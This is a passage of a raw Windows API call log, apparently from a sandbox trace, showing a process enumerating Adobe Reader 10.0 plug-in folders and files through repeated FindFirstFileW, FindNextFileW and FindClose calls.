10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cba90 [0048.467] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.467] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.467] FindClose (in: hFindFile=0x7cba90 | out: hFindFile=0x7cba90) returned 1 [0048.467] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5380058 | out: hHeap=0x790000) returned 1 [0048.467] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TUR", cAlternateFileName="")) returned 1 [0048.467] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cba90 [0048.468] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.468] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.469] FindClose (in: hFindFile=0x7cba90 | out: hFindFile=0x7cba90) returned 1 [0048.469] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5380058 | out: hHeap=0x790000) returned 1 [0048.469] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 1 [0048.469] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cba90 [0048.470] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.470] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18b15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.470] FindClose (in: hFindFile=0x7cba90 | out: hFindFile=0x7cba90) returned 1 [0048.471] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5380058 | out: hHeap=0x790000) returned 1 [0048.471] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x0, cFileName="Words.pdf", cAlternateFileName="")) returned 1 [0048.471] FindClose (in: hFindFile=0x7cbb10 | out: hFindFile=0x7cbb10) returned 1 [0048.471] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e700a0 | out: hHeap=0x790000) returned 1 [0048.472] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 0 [0048.472] FindClose (in: hFindFile=0x7cb910 | out: hFindFile=0x7cb910) returned 1 [0048.472] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e50090 | out: hHeap=0x790000) returned 1 [0048.472] FindNextFileW (in: hFindFile=0x7cbad0, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5dbe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.api", cAlternateFileName="")) returned 1 [0048.472] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\*", lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb910 [0048.606] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.606] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 1 [0048.607] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\*", lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbb10 [0048.607] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.608] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CAT", cAlternateFileName="")) returned 1 [0048.610] FindClose (in: hFindFile=0x7cbb10 | out: hFindFile=0x7cbb10) returned 1 [0048.611] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5380058 | out: hHeap=0x790000) returned 1 [0048.611] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_CZE", cAlternateFileName="")) returned 1 [0048.611] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\*", lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbb10 [0048.611] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.611] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CZE", cAlternateFileName="")) returned 1 [0048.612] FindClose (in: hFindFile=0x7cbb10 | out: hFindFile=0x7cbb10) returned 1 [0048.612] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5380058 | out: hHeap=0x790000) returned 1 [0048.612] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HRV", cAlternateFileName="")) returned 1 [0048.612] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\*", lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbb10 [0048.612] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.612] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.HRV", cAlternateFileName="")) returned 1 [0048.612] FindClose (in: hFindFile=0x7cbb10 | out: hFindFile=0x7cbb10) returned 1 [0048.612] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5380058 | out: hHeap=0x790000) returned 1 [0048.612] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HUN", cAlternateFileName="")) returned 1 [0048.612] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\*", lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbb10 [0048.613] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.613] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.HUN", cAlternateFileName="")) returned 1 [0048.613] FindClose (in: hFindFile=0x7cbb10 | out: hFindFile=0x7cbb10) returned 1 [0048.613] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5380058 | out: hHeap=0x790000) returned 1 [0048.613] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_POL", cAlternateFileName="")) returned 1 [0048.613] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\*", lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbb10 [0048.613] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.613] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.POL", cAlternateFileName="")) returned 1 [0048.614] FindClose (in: hFindFile=0x7cbb10 | out: hFindFile=0x7cbb10) returned 1 [0048.614] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5380058 | out: hHeap=0x790000) returned 1 [0048.614] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUM", cAlternateFileName="")) returned 1 [0048.614] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\*", lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbb10 [0048.614] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.614] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.RUM", cAlternateFileName="")) returned 1 [0048.615] FindClose (in: hFindFile=0x7cbb10 | out: hFindFile=0x7cbb10) returned 1 [0048.615] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5380058 | out: hHeap=0x790000) returned 1 [0048.615] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUS", cAlternateFileName="")) returned 1 [0048.615] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\*", lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 